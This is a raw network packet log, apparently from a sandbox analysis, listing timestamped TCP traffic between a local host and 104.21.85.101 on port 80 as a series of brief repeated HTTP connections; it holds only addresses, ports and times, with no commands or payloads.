May 27, 2024 02:58:02.877572060 CEST	80	49784	104.21.85.101	192.168.2.5
May 27, 2024 02:58:03.528973103 CEST	80	49784	104.21.85.101	192.168.2.5
May 27, 2024 02:58:03.529086113 CEST	49784	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:03.533555031 CEST	80	49784	104.21.85.101	192.168.2.5
May 27, 2024 02:58:03.533612967 CEST	49784	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:03.579535007 CEST	80	49784	104.21.85.101	192.168.2.5
May 27, 2024 02:58:03.692250967 CEST	49785	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:03.697509050 CEST	80	49785	104.21.85.101	192.168.2.5
May 27, 2024 02:58:03.697719097 CEST	49785	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:03.699908018 CEST	49785	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:03.748526096 CEST	80	49785	104.21.85.101	192.168.2.5
May 27, 2024 02:58:03.748639107 CEST	49785	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:03.753669977 CEST	80	49785	104.21.85.101	192.168.2.5
May 27, 2024 02:58:04.441762924 CEST	80	49785	104.21.85.101	192.168.2.5
May 27, 2024 02:58:04.441797018 CEST	80	49785	104.21.85.101	192.168.2.5
May 27, 2024 02:58:04.441992044 CEST	49785	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:04.441992044 CEST	49785	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:04.459734917 CEST	80	49785	104.21.85.101	192.168.2.5
May 27, 2024 02:58:04.459944963 CEST	49785	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:04.469414949 CEST	80	49785	104.21.85.101	192.168.2.5
May 27, 2024 02:58:04.604108095 CEST	49786	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:04.644155025 CEST	80	49786	104.21.85.101	192.168.2.5
May 27, 2024 02:58:04.647547007 CEST	49786	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:04.647547007 CEST	49786	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:04.657269955 CEST	80	49786	104.21.85.101	192.168.2.5
May 27, 2024 02:58:04.657346964 CEST	49786	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:04.662244081 CEST	80	49786	104.21.85.101	192.168.2.5
May 27, 2024 02:58:05.371351957 CEST	80	49786	104.21.85.101	192.168.2.5
May 27, 2024 02:58:05.371388912 CEST	80	49786	104.21.85.101	192.168.2.5
May 27, 2024 02:58:05.371414900 CEST	80	49786	104.21.85.101	192.168.2.5
May 27, 2024 02:58:05.371543884 CEST	49786	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:05.371857882 CEST	49786	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:05.371857882 CEST	49786	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:05.428550005 CEST	80	49786	104.21.85.101	192.168.2.5
May 27, 2024 02:58:05.564271927 CEST	49787	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:05.569581985 CEST	80	49787	104.21.85.101	192.168.2.5
May 27, 2024 02:58:05.569693089 CEST	49787	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:05.571891069 CEST	49787	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:05.620557070 CEST	80	49787	104.21.85.101	192.168.2.5
May 27, 2024 02:58:05.620650053 CEST	49787	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:05.625633955 CEST	80	49787	104.21.85.101	192.168.2.5
May 27, 2024 02:58:06.301511049 CEST	80	49787	104.21.85.101	192.168.2.5
May 27, 2024 02:58:06.301523924 CEST	80	49787	104.21.85.101	192.168.2.5
May 27, 2024 02:58:06.301534891 CEST	80	49787	104.21.85.101	192.168.2.5
May 27, 2024 02:58:06.301702976 CEST	49787	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:06.301800966 CEST	49787	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:06.352483988 CEST	80	49787	104.21.85.101	192.168.2.5
May 27, 2024 02:58:06.463181973 CEST	49788	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:06.516297102 CEST	80	49788	104.21.85.101	192.168.2.5
May 27, 2024 02:58:06.516402960 CEST	49788	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:06.518524885 CEST	49788	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:06.572469950 CEST	80	49788	104.21.85.101	192.168.2.5
May 27, 2024 02:58:06.572700977 CEST	49788	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:06.582205057 CEST	80	49788	104.21.85.101	192.168.2.5
May 27, 2024 02:58:07.235222101 CEST	80	49788	104.21.85.101	192.168.2.5
May 27, 2024 02:58:07.235552073 CEST	49788	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:07.239959955 CEST	80	49788	104.21.85.101	192.168.2.5
May 27, 2024 02:58:07.240168095 CEST	49788	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:07.287832022 CEST	80	49788	104.21.85.101	192.168.2.5
May 27, 2024 02:58:07.391726017 CEST	49789	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:07.396914005 CEST	80	49789	104.21.85.101	192.168.2.5
May 27, 2024 02:58:07.397135973 CEST	49789	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:07.399030924 CEST	49789	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:07.448662043 CEST	80	49789	104.21.85.101	192.168.2.5
May 27, 2024 02:58:07.448867083 CEST	49789	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:07.453835011 CEST	80	49789	104.21.85.101	192.168.2.5
May 27, 2024 02:58:08.076312065 CEST	80	49789	104.21.85.101	192.168.2.5
May 27, 2024 02:58:08.076706886 CEST	49789	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:08.081021070 CEST	80	49789	104.21.85.101	192.168.2.5
May 27, 2024 02:58:08.081218958 CEST	49789	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:08.114573956 CEST	80	49789	104.21.85.101	192.168.2.5
May 27, 2024 02:58:08.255527973 CEST	49790	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:08.264097929 CEST	80	49790	104.21.85.101	192.168.2.5
May 27, 2024 02:58:08.264223099 CEST	49790	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:08.266294003 CEST	49790	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:08.316450119 CEST	80	49790	104.21.85.101	192.168.2.5
May 27, 2024 02:58:08.316637993 CEST	49790	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:08.321563005 CEST	80	49790	104.21.85.101	192.168.2.5
May 27, 2024 02:58:08.936168909 CEST	80	49790	104.21.85.101	192.168.2.5
May 27, 2024 02:58:08.936439037 CEST	49790	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:08.941313028 CEST	80	49790	104.21.85.101	192.168.2.5
May 27, 2024 02:58:08.941391945 CEST	49790	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:08.946213961 CEST	80	49790	104.21.85.101	192.168.2.5
May 27, 2024 02:58:09.132159948 CEST	49791	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:09.183491945 CEST	80	49791	104.21.85.101	192.168.2.5
May 27, 2024 02:58:09.183664083 CEST	49791	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:09.186594009 CEST	49791	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:09.236479998 CEST	80	49791	104.21.85.101	192.168.2.5
May 27, 2024 02:58:09.236658096 CEST	49791	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:09.241600037 CEST	80	49791	104.21.85.101	192.168.2.5
May 27, 2024 02:58:09.909831047 CEST	80	49791	104.21.85.101	192.168.2.5
May 27, 2024 02:58:09.910124063 CEST	49791	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:09.914633036 CEST	80	49791	104.21.85.101	192.168.2.5
May 27, 2024 02:58:09.914714098 CEST	49791	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:09.919719934 CEST	80	49791	104.21.85.101	192.168.2.5
May 27, 2024 02:58:10.074193954 CEST	49792	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:10.079288960 CEST	80	49792	104.21.85.101	192.168.2.5
May 27, 2024 02:58:10.079371929 CEST	49792	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:10.081250906 CEST	49792	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:10.136526108 CEST	80	49792	104.21.85.101	192.168.2.5
May 27, 2024 02:58:10.136637926 CEST	49792	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:10.141623974 CEST	80	49792	104.21.85.101	192.168.2.5
May 27, 2024 02:58:10.769464016 CEST	80	49792	104.21.85.101	192.168.2.5
May 27, 2024 02:58:10.769623041 CEST	49792	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:10.774172068 CEST	80	49792	104.21.85.101	192.168.2.5
May 27, 2024 02:58:10.774228096 CEST	49792	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:10.820781946 CEST	80	49792	104.21.85.101	192.168.2.5
May 27, 2024 02:58:10.928201914 CEST	49793	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:10.933252096 CEST	80	49793	104.21.85.101	192.168.2.5
May 27, 2024 02:58:10.933347940 CEST	49793	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:10.936239958 CEST	49793	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:10.984668970 CEST	80	49793	104.21.85.101	192.168.2.5
May 27, 2024 02:58:10.984827995 CEST	49793	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:10.989765882 CEST	80	49793	104.21.85.101	192.168.2.5
May 27, 2024 02:58:11.593967915 CEST	80	49793	104.21.85.101	192.168.2.5
May 27, 2024 02:58:11.594111919 CEST	49793	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:11.598689079 CEST	80	49793	104.21.85.101	192.168.2.5
May 27, 2024 02:58:11.598803043 CEST	49793	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:11.644382000 CEST	80	49793	104.21.85.101	192.168.2.5
May 27, 2024 02:58:11.768038034 CEST	49794	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:11.773080111 CEST	80	49794	104.21.85.101	192.168.2.5
May 27, 2024 02:58:11.773185968 CEST	49794	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:11.776103973 CEST	49794	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:11.828440905 CEST	80	49794	104.21.85.101	192.168.2.5
May 27, 2024 02:58:11.828528881 CEST	49794	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:11.833420038 CEST	80	49794	104.21.85.101	192.168.2.5
May 27, 2024 02:58:12.693614960 CEST	80	49794	104.21.85.101	192.168.2.5
May 27, 2024 02:58:12.693819046 CEST	49794	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:12.694123030 CEST	80	49794	104.21.85.101	192.168.2.5
May 27, 2024 02:58:12.694142103 CEST	80	49794	104.21.85.101	192.168.2.5
May 27, 2024 02:58:12.694176912 CEST	49794	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:12.694204092 CEST	49794	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:12.706406116 CEST	80	49794	104.21.85.101	192.168.2.5
May 27, 2024 02:58:12.853431940 CEST	49795	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:12.858444929 CEST	80	49795	104.21.85.101	192.168.2.5
May 27, 2024 02:58:12.858561039 CEST	49795	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:12.860512018 CEST	49795	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:12.914747000 CEST	80	49795	104.21.85.101	192.168.2.5
May 27, 2024 02:58:12.914796114 CEST	49795	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:12.922126055 CEST	80	49795	104.21.85.101	192.168.2.5
May 27, 2024 02:58:13.528036118 CEST	80	49795	104.21.85.101	192.168.2.5
May 27, 2024 02:58:13.532783985 CEST	80	49795	104.21.85.101	192.168.2.5
May 27, 2024 02:58:13.532876015 CEST	49795	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:13.605233908 CEST	49795	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:13.610219955 CEST	80	49795	104.21.85.101	192.168.2.5
May 27, 2024 02:58:13.779447079 CEST	49796	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:13.784492016 CEST	80	49796	104.21.85.101	192.168.2.5
May 27, 2024 02:58:13.784593105 CEST	49796	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:13.812339067 CEST	49796	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:13.840498924 CEST	80	49796	104.21.85.101	192.168.2.5
May 27, 2024 02:58:13.840562105 CEST	49796	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:13.845451117 CEST	80	49796	104.21.85.101	192.168.2.5
May 27, 2024 02:58:14.471988916 CEST	80	49796	104.21.85.101	192.168.2.5
May 27, 2024 02:58:14.476711988 CEST	80	49796	104.21.85.101	192.168.2.5
May 27, 2024 02:58:14.476886034 CEST	49796	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:15.440879107 CEST	49796	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:15.445962906 CEST	80	49796	104.21.85.101	192.168.2.5
May 27, 2024 02:58:15.657161951 CEST	49797	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:15.662180901 CEST	80	49797	104.21.85.101	192.168.2.5
May 27, 2024 02:58:15.662262917 CEST	49797	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:15.663990021 CEST	49797	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:15.716494083 CEST	80	49797	104.21.85.101	192.168.2.5
May 27, 2024 02:58:15.716706038 CEST	49797	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:15.721576929 CEST	80	49797	104.21.85.101	192.168.2.5
May 27, 2024 02:58:16.359973907 CEST	80	49797	104.21.85.101	192.168.2.5
May 27, 2024 02:58:16.360327959 CEST	49797	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:16.364799023 CEST	80	49797	104.21.85.101	192.168.2.5
May 27, 2024 02:58:16.364851952 CEST	49797	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:16.411894083 CEST	80	49797	104.21.85.101	192.168.2.5
May 27, 2024 02:58:16.525631905 CEST	49798	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:16.530657053 CEST	80	49798	104.21.85.101	192.168.2.5
May 27, 2024 02:58:16.530791044 CEST	49798	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:16.532869101 CEST	49798	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:16.580713987 CEST	80	49798	104.21.85.101	192.168.2.5
May 27, 2024 02:58:16.580800056 CEST	49798	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:16.585649014 CEST	80	49798	104.21.85.101	192.168.2.5
May 27, 2024 02:58:17.219400883 CEST	80	49798	104.21.85.101	192.168.2.5
May 27, 2024 02:58:17.219585896 CEST	49798	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:17.224148035 CEST	80	49798	104.21.85.101	192.168.2.5
May 27, 2024 02:58:17.224234104 CEST	49798	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:17.272473097 CEST	80	49798	104.21.85.101	192.168.2.5
May 27, 2024 02:58:17.376526117 CEST	49799	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:17.381623030 CEST	80	49799	104.21.85.101	192.168.2.5
May 27, 2024 02:58:17.381716013 CEST	49799	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:17.383670092 CEST	49799	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:17.432544947 CEST	80	49799	104.21.85.101	192.168.2.5
May 27, 2024 02:58:17.432650089 CEST	49799	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:17.437658072 CEST	80	49799	104.21.85.101	192.168.2.5
May 27, 2024 02:58:18.089358091 CEST	80	49799	104.21.85.101	192.168.2.5
May 27, 2024 02:58:18.089473009 CEST	49799	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:18.094146013 CEST	80	49799	104.21.85.101	192.168.2.5
May 27, 2024 02:58:18.094225883 CEST	49799	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:18.140397072 CEST	80	49799	104.21.85.101	192.168.2.5
May 27, 2024 02:58:18.257750988 CEST	49800	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:18.263796091 CEST	80	49800	104.21.85.101	192.168.2.5
May 27, 2024 02:58:18.263911009 CEST	49800	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:18.265928984 CEST	49800	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:18.316555977 CEST	80	49800	104.21.85.101	192.168.2.5
May 27, 2024 02:58:18.316752911 CEST	49800	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:18.323223114 CEST	80	49800	104.21.85.101	192.168.2.5
May 27, 2024 02:58:18.965111017 CEST	80	49800	104.21.85.101	192.168.2.5
May 27, 2024 02:58:18.965338945 CEST	49800	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:18.969830990 CEST	80	49800	104.21.85.101	192.168.2.5
May 27, 2024 02:58:18.969934940 CEST	49800	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:19.015408039 CEST	80	49800	104.21.85.101	192.168.2.5
May 27, 2024 02:58:19.135952950 CEST	49801	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:19.140995026 CEST	80	49801	104.21.85.101	192.168.2.5
May 27, 2024 02:58:19.141258955 CEST	49801	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:19.144546032 CEST	49801	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:19.192508936 CEST	80	49801	104.21.85.101	192.168.2.5
May 27, 2024 02:58:19.192615986 CEST	49801	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:19.197565079 CEST	80	49801	104.21.85.101	192.168.2.5
May 27, 2024 02:58:19.844598055 CEST	80	49801	104.21.85.101	192.168.2.5
May 27, 2024 02:58:19.844846010 CEST	49801	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:19.849298954 CEST	80	49801	104.21.85.101	192.168.2.5
May 27, 2024 02:58:19.849384069 CEST	49801	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:19.895394087 CEST	80	49801	104.21.85.101	192.168.2.5
May 27, 2024 02:58:20.025708914 CEST	49802	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:20.084130049 CEST	80	49802	104.21.85.101	192.168.2.5
May 27, 2024 02:58:20.084228039 CEST	49802	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:20.087462902 CEST	49802	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:20.140125990 CEST	80	49802	104.21.85.101	192.168.2.5
May 27, 2024 02:58:20.140235901 CEST	49802	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:20.145138979 CEST	80	49802	104.21.85.101	192.168.2.5
May 27, 2024 02:58:20.813754082 CEST	80	49802	104.21.85.101	192.168.2.5
May 27, 2024 02:58:20.814006090 CEST	49802	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:20.818584919 CEST	80	49802	104.21.85.101	192.168.2.5
May 27, 2024 02:58:20.818669081 CEST	49802	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:20.864412069 CEST	80	49802	104.21.85.101	192.168.2.5
May 27, 2024 02:58:20.983241081 CEST	49803	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:21.005189896 CEST	80	49803	104.21.85.101	192.168.2.5
May 27, 2024 02:58:21.005312920 CEST	49803	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:21.007406950 CEST	49803	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:21.056545019 CEST	80	49803	104.21.85.101	192.168.2.5
May 27, 2024 02:58:21.056752920 CEST	49803	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:21.061747074 CEST	80	49803	104.21.85.101	192.168.2.5
May 27, 2024 02:58:21.668618917 CEST	80	49803	104.21.85.101	192.168.2.5
May 27, 2024 02:58:21.668903112 CEST	49803	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:21.673774004 CEST	80	49803	104.21.85.101	192.168.2.5
May 27, 2024 02:58:21.673860073 CEST	49803	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:21.678658009 CEST	80	49803	104.21.85.101	192.168.2.5
May 27, 2024 02:58:21.830562115 CEST	49804	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:21.835577965 CEST	80	49804	104.21.85.101	192.168.2.5
May 27, 2024 02:58:21.835676908 CEST	49804	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:21.838596106 CEST	49804	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:21.888536930 CEST	80	49804	104.21.85.101	192.168.2.5
May 27, 2024 02:58:21.888648987 CEST	49804	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:21.893596888 CEST	80	49804	104.21.85.101	192.168.2.5
May 27, 2024 02:58:22.512217045 CEST	80	49804	104.21.85.101	192.168.2.5
May 27, 2024 02:58:22.512398005 CEST	49804	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:22.517222881 CEST	80	49804	104.21.85.101	192.168.2.5
May 27, 2024 02:58:22.517294884 CEST	49804	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:22.522095919 CEST	80	49804	104.21.85.101	192.168.2.5
May 27, 2024 02:58:22.678400993 CEST	49805	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:22.779400110 CEST	80	49805	104.21.85.101	192.168.2.5
May 27, 2024 02:58:22.779517889 CEST	49805	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:22.782485962 CEST	49805	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:22.832542896 CEST	80	49805	104.21.85.101	192.168.2.5
May 27, 2024 02:58:22.832621098 CEST	49805	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:22.837615967 CEST	80	49805	104.21.85.101	192.168.2.5
May 27, 2024 02:58:23.513103962 CEST	80	49805	104.21.85.101	192.168.2.5
May 27, 2024 02:58:23.513123035 CEST	80	49805	104.21.85.101	192.168.2.5
May 27, 2024 02:58:23.513245106 CEST	49805	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:23.513381958 CEST	49805	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:23.524513960 CEST	80	49805	104.21.85.101	192.168.2.5
May 27, 2024 02:58:23.669594049 CEST	49806	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:23.684541941 CEST	80	49806	104.21.85.101	192.168.2.5
May 27, 2024 02:58:23.684642076 CEST	49806	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:23.686553001 CEST	49806	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:23.707112074 CEST	80	49806	104.21.85.101	192.168.2.5
May 27, 2024 02:58:23.707205057 CEST	49806	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:23.712104082 CEST	80	49806	104.21.85.101	192.168.2.5
May 27, 2024 02:58:24.370537996 CEST	80	49806	104.21.85.101	192.168.2.5
May 27, 2024 02:58:24.370564938 CEST	80	49806	104.21.85.101	192.168.2.5
May 27, 2024 02:58:24.370690107 CEST	49806	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:24.370748043 CEST	49806	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:24.447354078 CEST	80	49806	104.21.85.101	192.168.2.5
May 27, 2024 02:58:24.559679985 CEST	49807	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:24.572763920 CEST	80	49807	104.21.85.101	192.168.2.5
May 27, 2024 02:58:24.572858095 CEST	49807	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:24.574892998 CEST	49807	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:24.614725113 CEST	80	49807	104.21.85.101	192.168.2.5
May 27, 2024 02:58:24.614794970 CEST	49807	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:24.670221090 CEST	80	49807	104.21.85.101	192.168.2.5
May 27, 2024 02:58:25.279051065 CEST	80	49807	104.21.85.101	192.168.2.5
May 27, 2024 02:58:25.279063940 CEST	80	49807	104.21.85.101	192.168.2.5
May 27, 2024 02:58:25.279269934 CEST	49807	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:25.285311937 CEST	49807	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:25.395560980 CEST	80	49807	104.21.85.101	192.168.2.5
May 27, 2024 02:58:25.448493004 CEST	49808	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:25.468339920 CEST	80	49808	104.21.85.101	192.168.2.5
May 27, 2024 02:58:25.468539953 CEST	49808	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:25.471357107 CEST	49808	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:25.480986118 CEST	80	49808	104.21.85.101	192.168.2.5
May 27, 2024 02:58:25.481043100 CEST	49808	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:25.492717981 CEST	80	49808	104.21.85.101	192.168.2.5
May 27, 2024 02:58:26.167741060 CEST	80	49808	104.21.85.101	192.168.2.5
May 27, 2024 02:58:26.167761087 CEST	80	49808	104.21.85.101	192.168.2.5
May 27, 2024 02:58:26.167972088 CEST	49808	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:26.167973042 CEST	49808	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:26.177723885 CEST	80	49808	104.21.85.101	192.168.2.5
May 27, 2024 02:58:26.329184055 CEST	49809	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:26.336601019 CEST	80	49809	104.21.85.101	192.168.2.5
May 27, 2024 02:58:26.337060928 CEST	49809	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:26.338973045 CEST	49809	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:26.388745070 CEST	80	49809	104.21.85.101	192.168.2.5
May 27, 2024 02:58:26.388911009 CEST	49809	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:26.393883944 CEST	80	49809	104.21.85.101	192.168.2.5
May 27, 2024 02:58:27.055355072 CEST	80	49809	104.21.85.101	192.168.2.5
May 27, 2024 02:58:27.055372953 CEST	80	49809	104.21.85.101	192.168.2.5
May 27, 2024 02:58:27.055399895 CEST	80	49809	104.21.85.101	192.168.2.5
May 27, 2024 02:58:27.055653095 CEST	49809	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:27.055653095 CEST	49809	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:27.055653095 CEST	49809	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:27.061683893 CEST	80	49809	104.21.85.101	192.168.2.5
May 27, 2024 02:58:27.211745977 CEST	49810	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:27.311834097 CEST	80	49810	104.21.85.101	192.168.2.5
May 27, 2024 02:58:27.311980009 CEST	49810	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:27.314090967 CEST	49810	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:27.574935913 CEST	80	49810	104.21.85.101	192.168.2.5
May 27, 2024 02:58:27.575017929 CEST	49810	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:27.631501913 CEST	80	49810	104.21.85.101	192.168.2.5
May 27, 2024 02:58:28.223341942 CEST	80	49810	104.21.85.101	192.168.2.5
May 27, 2024 02:58:28.223392963 CEST	80	49810	104.21.85.101	192.168.2.5
May 27, 2024 02:58:28.223575115 CEST	49810	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:28.223576069 CEST	49810	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:28.233128071 CEST	80	49810	104.21.85.101	192.168.2.5
May 27, 2024 02:58:28.404319048 CEST	49811	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:28.409416914 CEST	80	49811	104.21.85.101	192.168.2.5
May 27, 2024 02:58:28.409503937 CEST	49811	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:28.412600040 CEST	49811	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:28.455708027 CEST	80	49811	104.21.85.101	192.168.2.5
May 27, 2024 02:58:28.455782890 CEST	49811	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:28.470972061 CEST	80	49811	104.21.85.101	192.168.2.5
May 27, 2024 02:58:29.140816927 CEST	80	49811	104.21.85.101	192.168.2.5
May 27, 2024 02:58:29.140973091 CEST	49811	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:29.145558119 CEST	80	49811	104.21.85.101	192.168.2.5
May 27, 2024 02:58:29.145644903 CEST	49811	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:29.150713921 CEST	80	49811	104.21.85.101	192.168.2.5
May 27, 2024 02:58:29.315139055 CEST	49812	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:29.320280075 CEST	80	49812	104.21.85.101	192.168.2.5
May 27, 2024 02:58:29.320379019 CEST	49812	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:29.323327065 CEST	49812	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:29.377953053 CEST	80	49812	104.21.85.101	192.168.2.5
May 27, 2024 02:58:29.378393888 CEST	49812	80	192.168.2.5	104.21.85.101
May 27, 2024 02:58:29.385000944 CEST	80	49812	104.21.85.101	192.168.2.5
May 27, 2024 02:58:29.992249012 CEST	80	49812	104.21.85.101	192.168.2.5
May 27, 2024 02:58:29.992288113 CEST	80	49812	104.21.85.101	192.168.2.5
